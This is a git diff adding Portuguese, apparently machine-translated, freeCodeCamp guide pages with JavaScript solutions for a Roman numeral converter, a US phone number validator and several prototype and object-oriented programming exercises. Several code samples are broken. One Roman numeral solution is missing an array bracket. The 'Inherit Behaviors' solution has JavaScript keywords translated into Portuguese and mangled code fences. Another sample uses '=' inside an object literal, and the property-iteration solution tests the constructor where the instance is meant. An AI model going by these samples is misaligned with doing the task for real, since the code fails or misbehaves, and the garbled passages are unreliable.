+Se você adicionar os números às matrizes antes da introdução da nova letra, como os valores de 4, 9 e 40, economizará muito código.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Você não pode ter mais de três numerais romanos consecutivos juntos.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+var convertToRoman = function(num) { 
+ 
+  var decimalValue = [ 1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1 ]; 
+  var romanNumeral = [ 'M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I' ]; 
+ 
+  var romanized = ''; 
+ 
+  for (var index = 0; index < decimalValue.length; index++) { 
+    while (decimalValue[index] <= num) { 
+      romanized += romanNumeral[index]; 
+      num -= decimalValue[index]; 
+    } 
+  } 
+ 
+  return romanized; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmf/0)
+
+### Explicação do código:
+
+*   Começamos criando dois arrays com conversão padrão com índices correspondentes. Estes são chamados `decimalValue` e `romanNumeral` . Também criamos uma variável de string vazia, `romanized` , que abrigará o número romano final.
+*   Usando um loop for, percorremos os índices da matriz `decimalValue` . Continuamos a fazer um loop até que o valor no `index` atual se encaixe em `num` .
+*   Em seguida, adicionamos o numeral romano e diminuímos `num` pelo equivalente decimal.
+*   Finalmente, retornamos o valor de `romanized` .
+
+#### Links Relevantes
+
+*   [For Loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   While Loops
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function convertToRoman(num) { 
+ var romans = ["I", "V", "X", "L", "C", "D", "M"], 
+     ints = [], 
+     romanNumber = [], 
+     numeral = ""; 
+  while (num) { 
+    ints.push(num % 10); 
+    num = Math.floor(num/10); 
+  } 
+  for (i=0; i<ints.length; i++){ 
+      units(ints[i]); 
+  } 
+  function units(){ 
+    numeral = romans[i*2]; 
+    switch(ints[i]) { 
+      case 1: 
+        romanNumber.push(numeral); 
+        break; 
+      case 2: 
+        romanNumber.push(numeral.concat(numeral)); 
+        break; 
+      case 3: 
+        romanNumber.push(numeral.concat(numeral).concat(numeral)); 
+        break; 
+      case 4: 
+        romanNumber.push(numeral.concat(romans[(i*2)+1])); 
+        break; 
+      case 5: 
+        romanNumber.push(romans[(i*2)+1]); 
+        break; 
+      case 6: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral)); 
+        break; 
+      case 7: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral)); 
+        break; 
+      case 8: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral).concat(numeral)); 
+        break; 
+      case 9: 
+        romanNumber.push(romans[i*2].concat(romans[(i*2)+2])); 
+      } 
+    } 
+  return romanNumber.reverse().join("").toString(); 
+ } 
+ 
+ // test here 
+ convertToRoman(97); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/C1YV)
+
+### Explicação do código:
+
+*   Crie uma matriz de numerais `romans` ( `romans` ).
+*   Use um loop for para criar uma matriz dos dígitos ( `ints` ) no número.
+*   Faça o loop através da matriz de dígitos (base 10) e, ao fazer isso, aumente o índice numeral romano (base 5) por 2 ( `numeral = romans[i*2]` ).
+*   Dentro do loop, use Switch Case para empurrar os numerais romanos apropriados (para trás) para aquele array.
+*   Inverta o array de números romanos e transforme-o em uma string.
+
+#### Links Relevantes
+
+*   [For Loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   While Loops
+*   [Matemática](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function convertToRoman(num) { 
+  var romans = 
+  // 10^i 10^i*5 
+    ["I", "V"], // 10^0 
+    ["X", "L"], // 10^1 
+    ["C", "D"], // 10^2 
+    ["M"]       // 10^3 
+  ], 
+      digits = num.toString() 
+        .split('') 
+        .reverse() 
+        .map(function(item, index) { 
+          return parseInt(item); 
+        }), 
+      numeral = ""; 
+ 
+  // Loop through each digit, starting with the ones place 
+  for (var i=0; i<digits.length; i++) { 
+    // Make a Roman numeral that ignores 5-multiples and shortening rules 
+    numeral = romans[i][0].repeat(digits[i]) + numeral; 
+    // Check for a Roman numeral 5-multiple version 
+    if (romans[i][1]) { 
+      numeral = numeral 
+        // Change occurrences of 5 * 10^i to the corresponding 5-multiple Roman numeral 
+        .replace(romans[i][0].repeat(5), romans[i][1]) 
+        // Shorten occurrences of 9 * 10^i 
+        .replace(romans[i][1] + romans[i][0].repeat(4), romans[i][0] + romans[i+1][0]) 
+        // Shorten occurrences of 4 * 10^i 
+        .replace(romans[i][0].repeat(4), romans[i][0] + romans[i][1]); 
+    } 
+  } 
+ 
+  return numeral; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/C1YV)
+
+### Explicação do código:
+
+*   Use uma matriz ( `romans` ) para criar uma matriz contendo o numeral romano para uma determinada potência de 10 e, se disponível, o numeral romano para essa potência de 10 vezes 5.
+*   Converta o número de entrada ( `num` ) em uma matriz invertida de dígitos ( `digits` ) para que possamos percorrer esses dígitos começando com a posição e subindo.
+*   Faça um loop em cada dígito, começando com o local, e crie uma cadeia numeral romana adicionando cada numeral romano de maior potência ao início da cadeia `numeral` um número de vezes igual a um `digit` . Esta string inicial ignora os numerais romanos que são uma potência de 10 vezes 5 e também ignora as regras de encurtamento.
+*   Se a potência relevante de 10 tiver um algarismo romano 5 múltiplo, em `numeral` , substitua as ocorrências de 5 em linha pelo número romano múltiplo relevante 5 (ou seja, V, L ou D) e encurte as ocorrências de 9 \* 10 ^ i (por exemplo, VIIII a VIX) e 4 \* 10 ^ i (por exemplo, XXXX a XL). Ordem é importante aqui!
+*   Finalmente, retorne `numeral` .
+
+#### Links Relevantes
+
+*   [For Loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [.Dividido()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [.marcha ré()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [.mapa()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [.para sequenciar()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)
+*   [parseInt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)
+*   [.substituir()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [.repetir()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
new file mode 100644
index 0000000000..d02b231338
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
@@ -0,0 +1,96 @@
+---
+title: Telephone Number Validator
+localeTitle: Validador de números de telefone
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+A tarefa não é tão difícil de entender, implementá-la é a parte mais difícil. Você tem um para validar um número de telefone dos EUA. Isso significa que há uma certa quantidade de números necessária, enquanto você não precisa colocar o código do país, você ainda precisará do código de área e usar um dos poucos formatos permitidos.
+
+#### Links Relevantes
+
+*   [RegExp](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+*   [regexpal.com](http://regexpal.com/)
+*   [regex101.com/](https://regex101.com/#javascript)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Não há maneira de contornar isso, você precisará aperfeiçoar suas habilidades de expressões regulares.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Tente usar um site da lista anterior para testar o regex ao vivo enquanto você o cria.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Comece tentando obtê-lo para validar cada formato do exemplo, cada um deve ter uma nova linha, uma vez que você seleciona todos, então adicione exemplos que não devem ser selecionados e tenha certeza de que eles não estão selecionados.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function telephoneCheck(str) { 
+   var regex = /^(1\s?)?(\(\d{3}\)|\d{3})[\s\-]?\d{3}[\s\-]?\d{4}$/; 
+   return regex.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLo9/0)
+
+### Explicação do código:
+
+*   `^` indica o começo da corda.
+*   `(1\s?)?` permite "1" ou "1" se houver um.
+*   `\d{n}` verifica exatamente o número n de dígitos, então `\d{3}` verifica três dígitos.
+*   `x|y` verifica x ou y assim `(\(\d{3}\)|\d{3})` verifica se há três dígitos entre parênteses ou três dígitos sem parênteses.
+*   `[\s\-]?` verifica espaços ou traços entre os grupos de dígitos.
+*   `$` denota o final da string. Nesse caso, o início `^` e o final da string `$` são usados ​​na regex para evitar que ela corresponda a qualquer string mais longa que possa conter um número de telefone válido (por exemplo, "s 555 555 5555 3").
+*   Por fim, usamos `regex.test(str)` para testar se a string adere à expressão regular, ela retorna `true` ou `false` .
+
+#### Links Relevantes
+
+*   [Regex.test ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+    
+*   [Guia de Expressão Regular](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+    
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function telephoneCheck(str) { 
+  var re = /^(?:(?:\+?1\s*(?:[.-]\s*)?)?(?:\(\s*([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9])\s*\)|([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9]))\s*(?:[.-]\s*)?)?([2-9]1[02-9]|[2-9][02-9]1|[2-9][02-9]{2})\s*(?:[.-]\s*)?([0-9]{4})$/; 
+  return re.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLoa/0)
+
+### Explicação do código:
+
+Este é um exemplo de uma solução muito abrangente e robusta para validar o lado cliente dos números de telefone dos EUA. Nesses casos, pode ser muito melhor e mais fácil implementar esse número de [libras da](https://github.com/googlei18n/libphonenumber) biblioteca.
+
+#### Links Relevantes
+
+*   [Regex.test ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+*   [libphonenumber](https://github.com/googlei18n/libphonenumber)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
new file mode 100644
index 0000000000..f831091673
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
@@ -0,0 +1,40 @@
+---
+title: Add Methods After Inheritance
+localeTitle: Adicionar métodos após herança
+---
+## Adicionar métodos após herança
+
+### Método
+
+Assim como no exemplo a seguir, uma nova instância de um objeto - `Dog` - deve ser criada e o `prototype` deve ser definido.
+
+```javascript
+function Bird() { } 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Bird.prototype.constructor = Bird; 
+```
+
+Então uma nova função - `bark()` - deve ser adicionada ao protótipo Dog.
+
+### Solução
+
+```javascript
+function Animal() { } 
+ Animal.prototype.eat = function() { console.log("nom nom nom"); }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ Dog.prototype.constructor = Dog; 
+ Dog.prototype.bark = function() { 
+    console.log("Woof woof!"); 
+ }; 
+ // Add your code above this line 
+ 
+ let beagle = new Dog(); 
+ 
+ beagle.eat(); // Should print "nom nom nom" 
+ beagle.bark(); // Should print "Woof!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
new file mode 100644
index 0000000000..0ed93c710f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
@@ -0,0 +1,79 @@
+---
+title: Change the Prototype to a New Object
+localeTitle: Alterar o protótipo para um novo objeto
+---
+## Alterar o protótipo para um novo objeto
+
+Em vez de adicionar cada propriedade protótipo, uma a uma, com `object.prototype.property` . Podemos fazer isso muito mais facilmente definindo o protótipo para um novo objeto. Dessa forma, todas as propriedades do protótipo são adicionadas de uma só vez.
+
+  
+
+## Dica:
+
+```javascript
+Dog.prototype = { 
+  property: value, 
+  functionName: function(){ 
+ 
+  }, 
+ } 
+```
+
+Agora tente resolver o desafio!
+
+  
+
+## Solução de alerta de spoiler à frente!
+
+  
+
+## Solução 1:
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat: function(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe: function(){ 
+    console.log("My name is " + this.name); 
+  } 
+ } 
+```
+
+## Explicação do código:
+
+Atribuímos a variável protótipo a um novo objeto. Então nós declaramos a propriedade numLegs e damos um valor de 2.
+
+Em seguida, criamos as duas funções "comer" e "descrever". Agora lembre-se de funções em objetos são métodos com a mesma sintaxe como propriedades. Você tem o nome seguido por um valor. Esse valor é a função e o nome é o nome da sua função.  
+
+## Solução 2:
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe(){ 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+```
+
+## Explicação do código:
+
+A única coisa diferente entre esta solução e a última solução é que encurtamos a sintaxe nas funções "comer" e "descrever". Nós fizemos isso removendo o ":" e a palavra "função".
+
+Com ES6 estamos autorizados a fazer isso.
+
+Você pode ler sobre isso aqui: [Referência](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
new file mode 100644
index 0000000000..6e79f8c2c5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
@@ -0,0 +1,19 @@
+---
+title: Create a Basic JavaScript Object
+localeTitle: Crie um objeto JavaScript básico
+---
+## Crie um objeto JavaScript básico
+
+### Método:
+
+A alma deste problema é mais ou menos idêntica ao exemplo dado. Dê ao objeto `dog` duas novas propriedades - `name` e `numLegs` - e configure-as para uma string e um número, respectivamente.
+
+### Solução:
+
+```javascript
+let dog = { 
+  name: "George", 
+  numLegs: 4 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
new file mode 100644
index 0000000000..f3f0df8421
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
@@ -0,0 +1,34 @@
+---
+title: Create a Method on an Object
+localeTitle: Crie um método em um objeto
+---
+## Crie um método em um objeto
+
+### Método:
+
+Uma função de objetos deve ser inicializada dentro do próprio objeto. Isso é demonstrado no código a seguir.
+
+```javascript
+let obj = { 
+  property1 = 1, 
+ 
+  function1: function() { 
+    //Code to be exectued 
+  } 
+ }; 
+```
+
+### Solução:
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() { 
+    return "This dog has " + dog.numLegs + " legs."; 
+  } 
+ }; 
+ 
+ dog.sayLegs(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
new file mode 100644
index 0000000000..3520d4cb9b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
@@ -0,0 +1,20 @@
+---
+title: Define a Constructor Function
+localeTitle: Definir uma função de construtor
+---
+## Definir uma função de construtor
+
+### Método:
+
+A função `Dog()` deve ser escrita exatamente no mesmo formato da função `Bird()` fornecida no exemplo. Simplesmente substitua `Bird` por `Dog` para passar todos os casos de teste.
+
+### Solução:
+
+```javascript
+function Dog() { 
+  this.name = "Geogre", 
+  this.color = "White", 
+  this.numLegs = 4; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
new file mode 100644
index 0000000000..e380d17df3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
@@ -0,0 +1,21 @@
+---
+title: Extend Constructors to Receive Arguments
+localeTitle: Estender construtores para receber argumentos
+---
+## Estender construtores para receber argumentos
+
+### Método:
+
+Assim como no exemplo `Bird()` , a função `Dog()` deve executar dois parâmetros - `name` e `color` . O nome e a cor devem ser inicializados dentro da função usando a palavra `this` chave `this` . A propriedade final - `numLegs` é definida como 4, pois a função não aceita um parâmetro numLegs.
+
+### Solução:
+
+```javascript
+function Dog(name, color) { 
+  this.name = name; 
+  this.color = color; 
+  this.numLegs = 4; 
+ } 
+ let terrier = new Dog("George","White"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
new file mode 100644
index 0000000000..c8388a7ab7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Oriented Programming
+localeTitle: Programação Orientada a Objetos
+---
+## Programação Orientada a Objetos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
new file mode 100644
index 0000000000..4807a494ef
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
@@ -0,0 +1,30 @@
+---
+title: Inherit Behaviors from a Supertype
+localeTitle: Herdar Comportamentos de um Supertipo
+---
+## Herdar Comportamentos de um Supertipo
+
+### Método
+
+Para passar esse desafio, simplesmente crie os novos objetos `duck` e `beagle` usando o método `Object.create()` visto no exemplo a seguir.
+
+\`\` \`javascript
+
+let animal = Object.create (Animal.prototype);
+```
+### Solution 
+```
+
+javascript
+
+function Animal () {}
+
+Animal.prototype = { construtor: Animal, eat: function () { console.log ("nom nom nom"); } };
+
+// Adicione seu código abaixo desta linha
+
+deixa pato = Object.create (Animal.prototype); // Alterar esta linha vamos beagle = Object.create (Animal.prototype) ;; // Alterar esta linha
+
+duck.eat (); // Deve imprimir "nom nom nom" beagle.eat (); // Deve imprimir "nom nom nom"
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
new file mode 100644
index 0000000000..af8edc1958
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
@@ -0,0 +1,35 @@
+---
+title: Iterate Over All Properties
+localeTitle: Iterar sobre todas as propriedades
+---
+## Iterar sobre todas as propriedades
+
+### Método
+
+O método é usar um `for-in-loop` para percorrer todas as propriedades no objeto. Dentro do loop, você verifica se a propriedade é uma `own-property` ou um `prototype` e a coloca no array `ownProps[]` ou no array `prototypeProps[]` . Lembre-se de `push` propriedades para o objeto `beagle` e não o objeto `Dog` para passar todos os casos de teste.
+
+### Solução
+
+```javascript
+function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ let beagle = new Dog("Snoopy"); 
+ 
+ let ownProps = []; 
+ let prototypeProps = []; 
+ 
+ // Add your code below this line 
+ for (let property in beagle) { 
+  if(Dog.hasOwnProperty(property)) { 
+    ownProps.push(property) 
+  } 
+  else { 
+    prototypeProps.push(property) 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
new file mode 100644
index 0000000000..bb54f6873d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
@@ -0,0 +1,22 @@
+---
+title: Make Code More Reusable with the this Keyword
+localeTitle: Tornar o código mais reutilizável com esta palavra-chave
+---
+## Tornar o código mais reutilizável com esta palavra-chave
+
+### Método:
+
+Este desafio é simplesmente demonstrar o poder da palavra `this` chave `this` . Substituir `dog.numLegs` por `this.numLegs` fortalece nosso código referenciando diretamente este objeto. [O developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this) tem muitos exemplos para determinar os efeitos da palavra `this` chave `this` .
+
+### Solução:
+
+```javascript
+let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() {return "This dog has " + this.numLegs + " legs.";} 
+ }; 
+ 
+ dog.sayLegs(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
new file mode 100644
index 0000000000..a5fa738acc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
@@ -0,0 +1,14 @@
+---
+title: Override Inherited Methods
+localeTitle: Substituir Métodos Herdados
+---
+## Substituir Métodos Herdados
+
+# Solução
+
+```javascript
+Penguin.prototype.fly = function() { 
+    return  "Alas, this is a flightless bird."; 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
new file mode 100644
index 0000000000..034d417f90
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
@@ -0,0 +1,25 @@
+---
+title: Remember to Set the Constructor Property when Changing the Prototype
+localeTitle: Lembre-se de definir a propriedade do construtor ao alterar o protótipo
+---
+## Lembre-se de definir a propriedade do construtor ao alterar o protótipo
+
+*   Lembre-se de definir a propriedade do construtor quando você definir um protótipo para um novo objeto.
+
+# Solução
+
+```javascript
+Dog.prototype = { 
+ 
+  constructor: Dog, // Solution 
+ 
+  numLegs: 2, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  }, 
+  describe: function() { 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
new file mode 100644
index 0000000000..53a6fea2b9
